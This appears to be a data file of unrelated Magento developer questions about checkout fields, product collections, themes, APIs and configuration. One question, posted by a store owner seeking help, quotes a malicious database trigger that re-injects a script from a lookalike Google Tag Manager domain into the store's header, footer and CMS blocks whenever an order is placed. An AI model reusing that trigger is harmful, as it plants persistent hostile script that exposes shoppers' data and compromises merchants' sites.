texts: I'm currently creating orders in Magento to put all our orders in the Magento system, since we sell our products through multiple channels and prefer to have a clear overview of all orders in Magento. I would like to put the right order date in Magento aswell, but I can't find a way to change the order date of a created order.


texts: How to change the payment method step title in Magento 2?

texts:
I would like to change the payment method heading in Magento 2.

Unfortunately, I couldn't able to find out the file where to edit this title.

Could anyone please help me with this?


texts: How to get Customer attribute value by loading customer id in magento 2

texts: I have customer entity id, how do i get customer attribute value by loading customer entity id, Please provide me a solution


texts: How to add "extra information" at magento 2 checkout

texts:
I wanna know how to add "extra info" at checkout, this mean, for example, a textfield wen the customer can add "go to the green house". I currently have the Firecheckout and they display a custom field but i can't see into the admin area.

Thanks.

Magento 2.3.0


texts: Magento 2 : Add Custom Field on Checkout

texts:
I need to add text field below shipping address checkout page and save content in sales_order table in database.

I tried following http://devdocs.magento.com/guides/v2.0/howdoi/checkout/checkout_form.html
but it simply doesn't work.

I searched many sites with similar problems but no one solved this.
Anyone know how to do this?


texts: How can I get all Products fromcategory and subcategories

texts:
Getting all children from specified category then pulling products from all the childrens

$_category = Mage::getModel('catalog/category')->load(5);
$lids = $_category->getAllChildren();
$ids = explode(',',$lids);
echo '
';
print_r($ids);
echo '
';
if ($ids)
{
    foreach ($ids as $id)
    {
        $cat = Mage::getModel('catalog/category');
        $cat->load($id);
        if($cat->getIsActive()==1)
        {
        $category1 = Mage::getModel('catalog/category')->load($cat->getId());
        $products = Mage::getResourceModel('catalog/product_collection')
            ->addAttributeToSelect('megamenu_category_product')
            ->addCategoryFilter($category1);

            foreach ($products as $product) {
                if ($product->getData('megamenu_category_product') == true){
                    echo "
" . $product->getData('name') . " - ". $product->getSku() . "
";
                    break;
                }else{
                    //echo 'FOO
';
                }
            }
        }
    }
}

because I used '->addAttributeToSelect("megamenu_category_product")'
it won't display product->getName()
What am I doing wrong ?


texts: Where to put downloadable csv file in custom module and generate download link in phtml?

texts: I have a csv file, i want to put it inside my custom module folder app/code/Vendor/Module but i don't know where to put the csv file inside my custom extension folder, and how to generate link to download this csv file, so i can put the download link inside my a href tag in frontend phtml


texts: How to call localhost/magento/oauth/initiate?

texts:
I am trying to call the above url to initiate the oauth tokens.
I am following the below link http://www.magentocommerce.com/api/rest/authentication/oauth_authentication.html
Can u tell me what s the exact way to call the initiate url .
By the way , I am using oAuth Advanced rest client.


texts: I need to understand the basic compilation command for complication and deployment, what are its functionalities and how do it works?

texts:
Upgrade extension files => setup:upgrade
Deployment static content => setup:static-content:deploy
Generate Classes => setup:di:compile


texts: What is the difference between getData('tier_price') and getTierPrices() in configurable products?

texts:
I have a configurable product with price, special price and tier prices.

I'm able to get the price, special price but not the tiered prices list.

All child products have the same price so instead of adding tiered price for each product, it will easier and faster to add them on the configurable product.

I'm having the following code in template/catalog/product/view.phtml

$_product = $this->getProduct();

$_tierPrices = $this->getTierPrices();

var_dump( $_tierPrices );

This variable $_tierPrices will return an empty array. However if I replace getTierPrices() with getDate('tier_price') I'll get all the tier prices that are associated with the configurable product.

$_product = $this->getProduct();

$_tierPrices = $_product->getData('tier_price');

var_dump( $_tierPrices ); // print each tier price as array

So what make getData() return prices and getTierPrices() returns nothing?

Note: this happens with configurable products.


texts: custom attribute values for the product with category collections

texts: I want to save a custom attribute values differently with all products in specific categories in magento by creating a file externally


texts:
Magento 2 Add customer Billing Phone number column in Order and Invoice grid. I also want to filter and search with this phone number.
Please provide code if anyone have done this.


texts: How can I make a second product page in the same store?

texts:
I've gotten a request to allow for duplicate product pages in a store.  They have many reasons for doing this.  The main reason, I believe, is for email and marketing targeting.

So they would like to have one product page, i.e. "store.com/product-page", that is the regular page.  Shows up in search, category pages, etc.  But then there would be another page, i.e. "store.com/marketing/product-page", that would show the same product, except maybe add a block with coupon information.

I've tried a number of different approaches, including adding the product to a new category with a different design, and trying to recreate the product page as a CMS page.  I feel like I'm overthinking it and there is a simple solution to this problem.  Any ideas?


texts: how to call another plugin block method in custom template file in magento

texts:
I want to call another module block in custom phtml file in magento

Here is layout file tablisting.xml:
path: app\design\frontend\default\default\layout\sm\tablisting.xml

<?xml version="1.0"?>
<layout version="1.0">
<default>
    <reference name="head">
        <action method="addCss"><stylesheet>sm/tablisting/css/tablisting.css</stylesheet></action>
    </reference>
</default>
<tablisting_index_index>
    <reference name="content">
        <block type="tablisting/list" name="tablisting">
            <action method="setConfig">
            </action>
        </block>
    </reference>
</tablisting_index_index>

I have create a template file homecolumn.phtml

Here is template file homecolumn.phtml:
app\design\frontend\default\sm_saphi\template\page\homecolumn.phtml

<?php
echo $this->getChildHtml('tablisting');

But it is not show any block in homepage


texts: Watermark changed in admin still has default magento watermark

texts: I changed the watermark image in admin. It is applied for both the default and site level. The magento watermark still applies even after clearing cache. What could be the reason for it?


texts: How to find jQuery versions & extensions that use it

texts:
I just installed a new theme and now the site loads with an error. The theme documentation says if I see this error "This may be caused by jQuery conflict: one of your custom extensions is loading another version of jQuery. You need to remove that version of jQuery or remove that extension."

How do I go about finding the various versions of jQuery to try to resolve this? Thanks as always.

The error is simply:

There has been an error processing your request

Exception printing is disabled by default for security reasons.

Error log record number: 251564391832


texts:
Been struggling with a malware infection for a few days.
It seems to append itself to every block in the theme.

Obviously I can remove the entries easily using find and replace in phpmyadmin but they reappear every hour or so, which lead me to believe its running in a cron job or similar.

I have tracked down a file using grep in virtfs/myaccount/var/lib/mysql/myaccount_magento/sales_flat_order.TRG which contains what looks like the trigger.

triggers='CREATE DEFINER=myaccount_magento@localhostTRIGGER after_insert_order AFTER INSERT ON sales_flat_order FOR EACH ROW BEGIN UPDATE core_config_data SETvalue= IF(valueLIKE \'%<script src="https://googletagmanager.eu/gtm.js"></script>%\',value, CONCAT(value, \'<script src="https://googletagmanager.eu/gtm.js"></script>\')) WHERE path=\'design/head/includes\' OR path=\'design/footer/absolute_footer\' OR path=\'design/footer/copyright\';UPDATE cms_block SETcontent= IF(contentLIKE \'%<script src="https://googletagmanager.eu/gtm.js"></script>%\',content, CONCAT(content`, \'\')); END'

This is clearly injecting the script into the blocks.

How do I delete the TRG file and what is it?


texts: How to set max length and order of collection

texts:
I have 2 questions.

I've found this solution on stackOverflow:

class Page extends \RonisBT\Cms\Block\Page
{
    protected $_productCollectionFactory;
    public $catalogProductVisibility;

    public function __construct(\Magento\Framework\View\Element\Template\Context $context, \Magento\Catalog\Model\Product\Visibility $catalogProductVisibility, \Magento\Catalog\Model\ResourceModel\Product\CollectionFactory $productCollectionFactory, \Magento\Framework\Registry $coreRegistry, \RonisBT\Cms\Helper\Data $helper, array $data = [])
    {
        $this->_productCollectionFactory = $productCollectionFactory;
        $this->catalogProductVisibility = $catalogProductVisibility;
        parent::__construct($context, $coreRegistry, $helper, $data);
    }

    public function getFeaturedProducts(){
        $collection = $this->_productCollectionFactory->create()->addAttributeToSelect('*')
            ->addAttributeToFilter('status', '1')
            ->addAttributeToFilter('featured_product', '1');
        $collection->setVisibility($this->catalogProductVisibility->getVisibleInCatalogIds());
        return $collection;
    }
}

I use it for getting products which marked as featured.

Everything works ok, but I want to order products by id and limit collection to 10 units.

Thank you guys!


texts: Magento Category URL slugs being appended to Wordpress blog posts?

texts:
Got a very strange problem here. We have Magento Community 1.8.1 and use Wordpress as our blog. Recently we have spotted an large increase in the number of 404 errors listed in Google Webmaster Tools/Search Console for our blog.

When I review the urls they look like this:

/blog-post-name/magento-category/magento-subcategory.html
/blog-post-name/magento-category.html
/blog-tag/tag/magento-category/magento-subcategory.html
/blog-author/authorname/magento-category/magento-subcategory.html

I have no idea if this is Magento automatically appending these slugs to the Wordpress urls or the other way around.

Any ideas are Welcome and I appologise if this should be posted in a Wordpress StackExchange?


texts: Show Only one address on checkout/#shipping page

texts:
How to limit the address on checkout/#shipping page. like all the address from cutomer_address_entity are listed in this page. but how to show only one address.
I have added a quote programmatically, and add address for that quote programmatically. now i want to show that quote address (which i added against that quote id programmatically) show on shipping page. instead it shows all the addresses from customer_address_entity table.


texts: How to make guest cart expire after inactivity instead of time limit?

texts:
I want to extend the length of a guest's cart and have had no luck finding an answer that takes into account user activity. I've done some digging and this is how I think a cart expires for a guest user:

session_start() is called by Magento\Framework\Session\SessionManager

The session itself lasts at least as long as php's session.gc_maxlifetime setting. The session can be stored longer depending on other settings which I don't need to go into.

The session cookie lifetime, default PHPSESSID, uses the default value of 3600 seconds. This can be changed in admin, although the cookie does not seem to get reset on each page visit by default. This means the cart will expire in 1 hour no matter what.

The question I have is, how can I reset the cookie expiration so that an active user doesn't have their session deleted? Essentially doing what this answer suggests, but in Magento as a module.


texts: Is there a way to configure magento to bcc an email in every mail send out on a forgot password attempt?

texts: I need to send a copy of the forgot password email to a particular email address every time on forgot password attempts. Is there way to configure this in magento ?


texts: Cart Page Redirect to Customer Login Page

texts:
When Click on View and Edit cart button from Mini-cart,

  It will redirect to checkout/cart page. And sometimes after 1 second
  it will automatically redirect to customer/account/login.

When i try to debug more with it, i found one ajax call gives me 401 status code & i found one js file in vendor in that written code like if status code 401 comes then it will redirect to login page.

  Js File :
  vendor/magento/module-checkout/view/frontend/web/js/model/error-processor.js

Please find attached image of Console.

Can any one explain me, why it gives 401 response status code?


texts: Is it possible to integrate api key of sms in magento 1.9?

texts: I have purchased normal text bulk sms package from one provider. They don't have module for magento. They are providing only Developer api key for ex:0000-1111-2222-3333 like this. Is there anyway is possible to use that api key to integrate in magento?


texts: How to get Customer Detail using Order id in Magento 2?

texts:
Please Help me on this , i want get full customer data using order id.

1) I have a order id in my phtml file i want to get whole data using block class and phtml file.


texts: Magento 2 (version 2.3.1) CSV translation is ignored in Custom email

texts:
I have a custom email template in which i use the following

{{trans "First Name"}}: {{var data.firstname}}

It is somehow ignoring the translation in English.

I am using Mageplaza translation packages.

So in short my custom email template is ignoring translation from CSV.

Any help would be appreciated.

--- Ibrar


texts:
I have a magento event 'payment_method_is_active' and I want to call event with ajax.How can I do?

UPDATE:
 I have an Observer :

<frontend>
        <events>
            <payment_method_is_active>
                <observers>
                  <some_observer>
                        <class>namespace/observer</class>
                        <method>checkObserver</method>
                   </some_observer>
                </observers>
            </payment_method_is_active>
        </events>
</frontend>

I want that event to be dispatch everytime I click in one field.
for that I have an ajax function :

 jQuery.ajax({
  method: "POST",
  url: "/some/url"}).done(function() {
     jQuery('#fieldId').click(function(){
        //Here I want to dispatch 'payment_method_is_active' event
    });
});


texts: When Exporting from Magento, does is remain on the website or is it removed when I export?


texts:
this store is in Magento 2.3.0, and I'm running into an issue regarding url rewrites/keys.

On the product, I've set the url key as example-key, but only example-key-extra-stuff works -- that being the old url key. Even after deleting the whole url_rewrite table and regenerating rewrites (using https://github.com/olegkoval/magento2-regenerate_url_rewrites), the old URL key ends up in the rewrite table and the new URL key doesn't work.

Where do you think this old URL Key is being pulled from?

--

EDIT/UPDATE: I've found the old URL Key in the catalog_product_entity_varchar table, with the entity ID matching the product. The new URL key is there as well, also with its entity ID matching the product. The only difference is that the old URL Key (example-key-extra-stuff) is for attribute id 116 and the new one is for attribute id 115 (example-key).

I then checked the catalog_eav_attribute table and saw that these differences between these two attributes: 115 is visible, used in product listing, used in grid, and is filterable in grid, while 116 is not. I'm not sure where to find other information on these attributes, but it seems like one is being updated while the other (invisible one) is not, but then the invisible one is being used for the URL rewrites. Any thoughts on how to resolve this?


texts: Error coming while saving the news letter in my account page in magento2

texts:
I am facing below issue in server. It's working fine in my local but in server not working. This error coming while saving the newsletter in My Account page, Sign Up Newsletter in registration page.

Fatal error: Uncaught TypeError: Argument 1 passed to Magento\Eav\Model\Entity\Attribute\Source\Config::__construct() must be of the type array, null given, called in /chroot/home/sitehtml/vendor/magento/framework/ObjectManager/Factory/AbstractFactory.php on line 93 and defined in /chroot/home/sitehtml/vendor/magento/module-eav/Model/Entity/Attribute/Source/Config.php:26 Stack trace: #0 /chroot/home/sitehtml/vendor/magento/framework/ObjectManager/Factory/AbstractFactory.php(93): Magento\Eav\Model\Entity\Attribute\Source\Config->__construct(NULL) #1 /chroot/home/sitehtml/vendor/magento/framework/ObjectManager/Factory/Compiled.php(88): Magento\Framework\ObjectManager\Factory\AbstractFactory->createObject('Magento\\Eav\\Mod...', Array) #2 /chroot/home/sitehtml/vendor/magento/framework/ObjectManager/ObjectManager.php(57): Magento\Framework\ObjectManager\Factory\Compiled->create('Magento\\Eav\\Mod...', Array) #3 / in /chroot/home/sitehtml/vendor/magento/module-eav/Model/Entity/Attribute/Source/Config.php on line 26

For this error I tried the php bin/setup:di:compile command but no use and I deleted the files in var/generation,var/di, var/cache and I tried the same command but still same issue coming. Please tell me any idea to fix this.


texts: How to get the logged in user details on custom cms page?

texts:
I have created one custom cms page on the name of Bulkorders at toplinks at https://www.depoto.com/. I put the need to login to access this bulk orderpage. if anyone place the bulkorders from this page, admin can receive the email with all the details. I gave the form action to get the details. Admin is receiving the bulkorders content to the mail. but how to get the ordered user details through loggedin option?

In email, admin need to get the logged-in user name and email.


texts:
Short version: Is it possible to create a database from a setup script?

Long version: I've set-up a module that creates it's own database resource connection for storing information in a database independent of the main Magento install. I've also got the migration scripts set-up to generate the tables. Is it possible using this migration script to attempt to create the database if it doesn't exist?

I've tried playing around a little, but as soon as I call startSetup, I get a database not found exception. I can't actually find where the dbname actually get's used. I can see it get's passed into the constructor when the adapter get's created, but couldn't seem to find where it's used.


texts: Magento 2 How to check if customer address is deleted via Admin?

texts:
Here is the scenario I want to achieve.

Steps:

Login to Admin.
Click on Edit link of any customer.
Go to Address tab.
Delete an Address.
Click on Save.

After these steps I want to add an entry to my custom table if the address is deleted.

How can I check if the address is deleted using adminhtml_customer_save_after event?

$customerObj = $this->_objectManager->create('Magento\Customer\Model\Customer')->load($customer_id);
foreach ($customerObj->getAddresses() as $address) {
    $customerAddress[] = $address->toArray();
    $customerAddressObj[] = $address;
}
$customerAddressCount = count($customerAddress);

This returns 2 if customer has 2 address in customer_address_entity table.
How can I check if the $customerAddressCount is reduced?

Or Any other approach?


texts: Magento 2: performance of getCollection function

texts:
I'm currently working on a Magento 2 theme that requires collection statistics to show on the frontend. For example: what are the total number of customers at the moment.

I'm using \Magento\Customer\Model\CustomerFactory to get this information. Code:

public function __construct(
    \Magento\Customer\Model\CustomerFactory $customerFactory,
    \Magento\Framework\View\Element\Template\Context $context,
    array $data
)
{
    $this->customerFactory  = $customerFactory;
    parent::__construct(
        $context,
        $data
    );
}

public function getCustomerCount()
{
    $customercount = $this->customerFactory->create()->getCollection()->getSize();
    return $customercount;
}

What does the getCollection method actually do? Will it load every customer and thus will be very resource heavy? I simply want the collection size. What is the most lightweight, but recommended approach for this? Will Magento cache the collection in the collections cache?

Another option could be to just check the customer_entity table and count the rows, but that's not the Magento way I think.

Suggestions are most welcome.


texts: Magento 2 - How to add dynamic-rows grid on catalog product

texts:
I am using Magento 2.1.5

I need to add dynamic rows grid on catalog product page

I am using below di.xml for adding dynamic row on product_form

  app/code/vendor/module/etc/adminhtml/di.xml

<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:ObjectManager/etc/config.xsd">
    <virtualType name="Magento\Catalog\Ui\DataProvider\Product\Form\Modifier\Pool">
        <arguments>
            <argument name="modifiers" xsi:type="array">
                <item name="Duration" xsi:type="array">
                    <item name="class" xsi:type="string">[vendor]\[module]\Ui\DataProvider\Product\Modifier\Duration</item>
                    <item name="componentType" xsi:type="string">container</item>
                </item>
            </argument>
        </arguments>
    </virtualType>

     <type name="[vendor]\[module]\Ui\DataProvider\Product\Modifier\Duration">
        <arguments>
            <argument name="formName" xsi:type="string">product_form</argument>
            <argument name="dataScopeName" xsi:type="string">product_form.product_form</argument>
            <argument name="dataSourceName" xsi:type="string">product_form.product_form_data_source</argument>
        </arguments>
    </type>
</config>

My question is what can I do in data provider to get this duration options?


texts: Change images on hover in product list page

texts:
I need to add the image change on hover functionality into the product list page in Magento 2.

When user is in product list page, when he/she hovers mouse over the displayed product, it should show change of image/another image on mouse click and revert back to originally displayed image when user moves mouse pointer away. I added changed image as a custom product attribute as follows.

I added a custom product attribute which has the Media Image in Catalog Input Type for Store Owner option. Then I gave attribute code as hover_image. I Set Add to Column Options and Use in Filter Options to "No".

Then I added my new attribute into attribute set -> default.
Moved my attribute into images group. Then I can upload image from backend ( Products->Catalog ) and choose image role as hover_image.

How can I check if certain product has image for hover_image and if that product has one, How can I add the hover effect on product list page?

I tried looping through products in list.phtml but I failed. can anyone just give me a hand? even a pointer to right direction would be helpful. Also it's okay even if you know a way for using direct usage of object manager.


texts: Magento 2.2.3 Display Boolean Attribute on Customer Registration Form

texts:
I am trying to display a Boolean Select input on the customer registration page. I have successfully created the customer attribute using the code below. But I am not able to display this attribute on frontend. Just for reference, I am using BSS Commerce B2B Registration module which adds customer fields on the registration page.

CustomerSetup.php

<?php

namespace Vendor\CustomAttribute\Setup;

use Magento\Eav\Model\Config;
use Magento\Eav\Model\Entity\Setup\Context;
use Magento\Eav\Setup\EavSetup;
use Magento\Framework\App\CacheInterface;
use Magento\Framework\Setup\ModuleDataSetupInterface;
use Magento\Eav\Model\ResourceModel\Entity\Attribute\Group\CollectionFactory;

class CustomerSetup extends EavSetup {

    protected $eavConfig;

    public function __construct(
        ModuleDataSetupInterface $setup,
        Context $context,
        CacheInterface $cache,
        CollectionFactory $attrGroupCollectionFactory,
        Config $eavConfig
        ) {
        $this -> eavConfig = $eavConfig;
        parent :: __construct($setup, $context, $cache, $attrGroupCollectionFactory);
    }

    public function installAttributes($customerSetup) {
        $this -> installCustomerAttributes($customerSetup);
        $this -> installCustomerAddressAttributes($customerSetup);
    }

    public function installCustomerAttributes($customerSetup) {

        $customerSetup -> addAttribute(\Magento\Customer\Model\Customer::ENTITY,
            'tax_custom_attribute',
            [
            'label' => 'Taxable or Not Taxable?',
            'system' => 0,
            'position' => 100,
            'sort_order' =>100,
            'visible' =>  true,
            'note' => '',

                        'type' => 'int',
                        'input' => 'select',
                        'source' => 'Magento\Eav\Model\Entity\Attribute\Source\Boolean',

            ]
            );

        $customerSetup -> getEavConfig() -> getAttribute('customer', 'tax_custom_attribute')->setData('is_user_defined',1)->setData('is_required',1)->setData('default_value','')->setData('used_in_forms', ['adminhtml_customer', 'checkout_register', 'customer_account_create']) -> save();

    }

    public function installCustomerAddressAttributes($customerSetup) {

    }

    public function getEavConfig() {
        return $this -> eavConfig;
    }
}

InstallData.php

<?php

namespace Vendor\CustomAttribute\Setup;

use Magento\Eav\Setup\EavSetup;
use Magento\Eav\Setup\EavSetupFactory;
use Magento\Framework\Setup\InstallDataInterface;
use Magento\Framework\Setup\ModuleContextInterface;
use Magento\Framework\Setup\ModuleDataSetupInterface;

/**
 * @codeCoverageIgnore
 */
class InstallData implements InstallDataInterface
{
    /**
     * EAV setup factory
     *
     * @var EavSetupFactory
     */
    private $eavSetupFactory;

    /**
     * Init
     *
     * @param EavSetupFactory $eavSetupFactory
     */
    public function __construct(EavSetupFactory $eavSetupFactory)
    {
        $this->eavSetupFactory = $eavSetupFactory;
    }

    /**
     * {@inheritdoc}
     * @SuppressWarnings(PHPMD.ExcessiveMethodLength)
     */
    public function install(ModuleDataSetupInterface $setup, ModuleContextInterface $context)
    {
        /** @var EavSetup $eavSetup */
        $eavSetup = $this->eavSetupFactory->create(['setup' => $setup]);
        if (version_compare($context->getVersion(), '1.0.0') < 0){

                $objectManager = \Magento\Framework\App\ObjectManager::getInstance();
                $customerSetup = $objectManager->create('Vendor\CustomAttribute\Setup\CustomerSetup');
                $customerSetup->installAttributes($customerSetup);

        }

    }
}

Magento Backend


texts: magento2 : how to override lib/web/mage/adminhtml/browser.js?

texts:
I'm trying to override lib/web/mage/adminhtml/browser.js in my module.

here is my Company/CampaignPopup/view/frontend/requirejs-config.js

var config = {
map: {
    "*": {

        'browser':'Company_CampaignPopup/js/adminhtml/browser-custom',
        'adminhtml/browser':'Company_CampaignPopup/js/adminhtml/browser-custom',
        'mage/adminhtml/browser': 'Company_CampaignPopup/js/adminhtml/browser-custom'
         }
     }
};

I was trying all this paths.


texts: Custom Theme Responsive/Mobile Disable and enable Full Site

texts:
Good Morning,

Our website has a custom theme by VenusThemes. I've looked through the guide or instructions to see if we could temporary disable the "mobile" side of theme to show only full site on both PC screen sizes and mobile devices. Not sure if its a theme feature or a Magento feature. At this point in the stage of our development i want to force full site mode for all devices. We will come back and revisit another alternative for a mobile site later on, so id rather disable it than remove it permanently so to speak.

How would i go about doing that? Please give detailed instructions if/as possible.

Our website is multi-store using one backend database. www.thepoultryhatchery.com

We are using Magento Community Edition 1.9

This is our theme --> http://www.venustheme.com/guides/ves_superstore/


texts: I've a multistore setup which is using a custom base theme for the structure but the colour scheme is to change per store. Is it possible to fall back to the base theme but only modify _var.scss per store?


texts: How to upgrade magento 1.4.1.1. to last version?

texts: My site was running on magento 1.4.1.1, I upgrade it to magento 1.4.2.0. I need to upgrade to last version of magento, my current version has a lot of modules installed. Could you give me advice how to continue with the upgrade.


texts: reinitialble_config and cron_system_config_initial_converter_plugin running on all incoming requests

texts:
I am testing out a Magento Commerce System (EE) and when I run it through xdebug I see every request calling a plugin method named cron_system_config_initial_converter_plugin from the name it sounds like something that should only run one time. initial but why do I see it being loaded every request ?
Also reinitiable_config seems to be running on every request.


texts: Magento 2 How to send Tax Amount To Braintree and Paypal

texts: I need to be able to view the tax charged when I go into my paypal and braintree accounts.  Magento is not sending this information to them.  We are tring using 2.2.5 and 2.3.1 Enterprise.  Please help


texts: Magento: create product using SOAP - cannot include additional attributes

texts:
I want to include additional attributes to be included when I create magento product using SOAP.

I'm using Magento ver. 1.9.2.4

I tried with the following code

$result = $client->call($session, 'catalog_product.create', array('simple', $product_data['attr_id'], $product_data['sku'], array(
        'categories' => array(2),
        'websites' => array(1),
        'name' => $product_data['name'],
        'description' => $product_data['description'],
        'short_description' => $product_data['short_description'],
        'weight' => $product_data['weight'],
        'status' => '2',
        'visibility' => '4',
        'price' => $product_data['price'],
        'tax_class_id' => 1,
        'meta_title' => '',
        'meta_keyword' => '',
        'meta_description' => '',
        'additional_attributes' => array(
            array('key'=>'brand', 'value'=>'HTC'),
            array('key'=>'model', 'value'=>'Desire'),
        )
    )));

You can also have a look at a part of the following file I have located at /public_html/app/code/core/Mage/Catalog/Model/Product/Api/V2.php

if (property_exists($productData, 'additional_attributes')) {
    if (property_exists($productData->additional_attributes, 'single_data')) {
        foreach ($productData->additional_attributes->single_data as $_attribute) {
            $_attrCode = $_attribute->key;
            $productData->$_attrCode = $_attribute->value;
        }
    }
    if (property_exists($productData->additional_attributes, 'multi_data')) {
        foreach ($productData->additional_attributes->multi_data as $_attribute) {
            $_attrCode = $_attribute->key;
            $productData->$_attrCode = $_attribute->value;
        }
    }
    if (gettype($productData->additional_attributes) == 'array') {
        foreach ($productData->additional_attributes as $k => $v) {
            $_attrCode = $k;
            $productData->$_attrCode = $v;
        }
    }
    unset($productData->additional_attributes);
}

I was only able to create product with no additional attribute!
Can anyone help with this parameter additional_attributes? What mistake did I make here?


texts: How to sort layered navigation attributes on Alphabetic order

texts:
Trying to find a solution for the order of the attributes in layered navigation on the category list page.

Now I have to sort them in the attributes from backend, and it is not a good way with many entries.

How can I change the dropdown for the attributes to be sorted in 1-9 and a-z ? (not from backend)

Now it can be

B
P
8
A

When it should be

8
A
B
P

Thank you !


texts: Redirect 'add to cart' button to the account login screen when customer is not loged in

texts: Is there a simple/easy way to redirect the 'add to cart' button/action to the account login screen/page when a customer is not loged in. This to prevent not registered or not loged in customers to fill the shopping cart? I don't want to hide the 'add to cart' button.


texts: Magento 2 How to add class in product detail page?

texts:
Theme - Luma

Location - Product detail page

I would like to add my custom class along with "column". Please review below screenshot for more information.


texts: Fault Object looks like we got no XML document

texts:
I'm using the script below to connect to the Magento API. When trying to connect with my script I've got:

  SOAP Fault: (faultcode: Client faultstring: looks like we got no XML document)

If I enter the URL in my browser https://foo.com/api/v2_soap/?wsdl , I've received the default XML file.

I have created a soap user and role. Resource Access = All

Script:

$url = 'https://foo.com/api/v2_soap/?wsdl';

$client = new SoapClient($url);

try {
    //retreive session id from login
    $session_id = $client->login('username','password');
} catch (SoapFault $fault) {
    $error      =   "SOAP Fault: (faultcode: {$fault->faultcode}\n" ."faultstring: {$fault->faultstring})";
    echo $error;
}

Php version 5.4.17.1

Magento version Enterprise 1.13.1.0


texts: How to change the default order status of Paypal transactions

texts:
When a customer places an order using Paypal the order status becomes processing. I want it to be pending.
I tried to change the default order status in app/Core/code/Mage/Paypal/etc/config.xml
<sales>
    <order>
        <statuses>
            <!-- retained for backwards compatibility, not used anymore -->
            <pending translate="label"><label>Pending</label></pending>
        </statuses>
    </order>
</sales>

but that did not work.
My configuration (click to enlarge):


texts: Mini Cart Not Working in Mobile view in magento 2

texts:
For Mobile view, I have added the items in the cart, the mini cart icon shows the product count correctly, But it will fail to trigger the minicart-wrapper class which means while clicking the cart icon, failed to open the mini cart popup to go to check out. Please provide me a solution to show the popup while clicking cart icon.

It works fine for the desktop, failed in mobile view


texts:
This is my plugin:

<?php
namespace Vendor\Module\Plugin;

use Magento\Email\Controller\Adminhtml\Email\Template\DefaultTemplate;

class MyPlugin
{
    public function afterExecute(DefaultTemplate $template, $result)
    {
        $text = $template->getData('template_text');
        $text .= '
Custom Text
';
        $template->setData('template_text', $text);
    }
}

Var dump works. Plugin executes, but I can't get why getData method is not found. Any suggestions?


texts: Magento Doesn't provide Product import using graphQL. can any one have idea about it and how to import product using GraphQL.?


texts: How to programmatically add suffix to the catalog title in Magento 2.2?

texts:
I need to add the suffix to the catalog page title programmatically for SEO.

Currently in view source code i am getting catalog category page title like

    Mobile

Mobile - is the currently catalog category page title.
But i need to add suffix to the tile for catalog category pages.

For example:

    Mobile Online

    Computer Online

So i need to add suffix Online for all category pages.
How can i achieve this?


texts: Success page get customer name and order id

texts:
I want to echo the customer name and order id on the checkout success page.

I currently use this line to display the customer name:

<?php $order = Mage::getModel('sales/order')->loadByIncrementId($this->getOrderId()); echo $order->getCustomerName(); ?>

But that echo the value "Guest guest".

And to load the order ID I use this, but that does also not work:

<?php echo $this->__('Your order ID is  %s.', $this->escapeHtml($this->getOrderId())) ?>

How can I fix this problem?


texts: Magento 2 move same element to multiple location

texts:
I am trying to move the "product.info.social" element to "product.info.addtocart.additional" and "product.info.addtocart" in product detail page using the "catalaog_product_view.xml" as

<move element="product.info.social" destination="product.info.addtocart.additional" />
    <move element="product.info.social" destination="product.info.addtocart" />

But it is only displaying in "product.info.addtocart" - means the move only works to "product.info.addtocart". How could I move the "product.info.social" to both blocks?


texts:
How to hide custom button  in product details  page  by particular category in magento 2

In magento 2, custom button will be hidden for each product from the selected categories in admin.  I want to  admin setting is applied to  product details page in frontend.

Admin Setting

Frontend


texts:
I seem to be having a problem with the sorting position within categories as it is not displaying properly. I have my "Product Listing Sort By" set to 'best value'.

Within a single category i have products set by position, '1, 2, 3, 4, etc..', Yet on the frontend they don't want to be displayed in this order?

Can't seem to get the sorting right, any suggestions?

I am using Magento CE 1.9.2.4


texts:
I've got an issue with our website not appearing correctly on IE9.  Basically, it looks as though some of the CSS styling isn't getting included.  I've bought a third-party theme.  The theme demo works fine in IE9 it appears, but on my site it doesn't.

Our site has quite a few third party extensions and includes more CSS files than I can shake a stick at.  I was thinking that perhaps I could just experiment on removing certain css files to see if it makes a difference incase one of them is breaking in IE9 and causing the rest of the CSS not to load.  However, the CSS files come from many different extensions so I don't know where to start!

I was just thinking, can anybody recommend an approach to finding out what the issue is?  I tried debugging in IE9 and it appears there are no errors.

Many thanks,

Manoj


texts:
I successfully added a JS file to my page and every console.log is working okay. Unfortunately no other function is working.

This is how my file looks like.

require([
    "jquery",
    "jquery/ui",
    "domReady!"
], function($){

  $(document).ready(function() {

    console.log('does it work?');

    if(1 == 1) {
      console.log("true");
    } else {
      console.log("false");
    };

  });

});

And it doesn't work as well - no output. Does anybody has an idea what could be the problem?


texts:
How can i solve this error?

Note : I did php bin/magento setup:static-content:deploy

May I know what is the issue?

There is no error in logs.


texts:
How to modify and edit this getChildHtml functions because i want to add different html into footer section.

<?php echo $this->getChildHtml('before_footer') ?>
<?php echo $this->getChildHtml('footer') ?>
<?php echo $this->getChildHtml('before_body_end') ?>
<?php echo $this->getAbsoluteFooter() ?>


texts: Accidentally deleted .htaccess file inside pub/static folder

texts: I accidentally deleted my .htaccess file. Before that I could just delete everything in the var and pub/static folder (except the .htaccess file of course) and just reload the page to see my CSS / LESS changes. Without the .htaccess file the stylings completely disappear. Now I always have to run the bin/magento setup:static-content:deploy command in order to see my changes which takes for ever. Is there any way I can re-setup the .htaccess file?


texts: make old (regular) price crossed out (magento 2.2, luma theme)

texts:
i'd like to make old (regular) price crossed out.
as i understand, here is output:

vendor/magento/module-configurable-product/view/base/templates/product/price/final_price.phtml

<span class="old-price sly-old-price">
    <?php /* @escapeNotVerified */ echo $block->renderAmount($priceModel->getAmount(), [
        'display_label'     => __('Regular Price'),
        'price_id'          => $block->getPriceId('old-price-' . $idSuffix),
        'price_type'        => 'oldPrice',
        'include_container' => true,
        'skip_adjustments'  => true
    ]); ?>

i have found style for old-price here:

var/view_preprocessed/pub/static/frontend/Magento/luma/en_US/Magento_Catalog/css/source/_module.less

and changed it like that:

.old-price {
                .price-wrapper .price {
                    .lib-font-size(20);
                    font-weight: @font-weight__light;
                    text-decoration:line-through;
                }
            }

however, nothing changed. what i did wrong?
p.s. this is done.

also, will really appreciate if you advise how to add custom style for percentage block below:

>     $_finalPrice =$_product->getFinalPrice(); $_price = $simplePrice; if($_finalPrice < $_price) {    $_savingPercent = 100 -
> round(($_finalPrice / $_price)*100);    echo  __('Your save:
> ').$_savingPercent . '%';
>
> } ?>


texts: Which function can adding product tax price

texts:
I need do some calculation , so i need know the file name and path for.

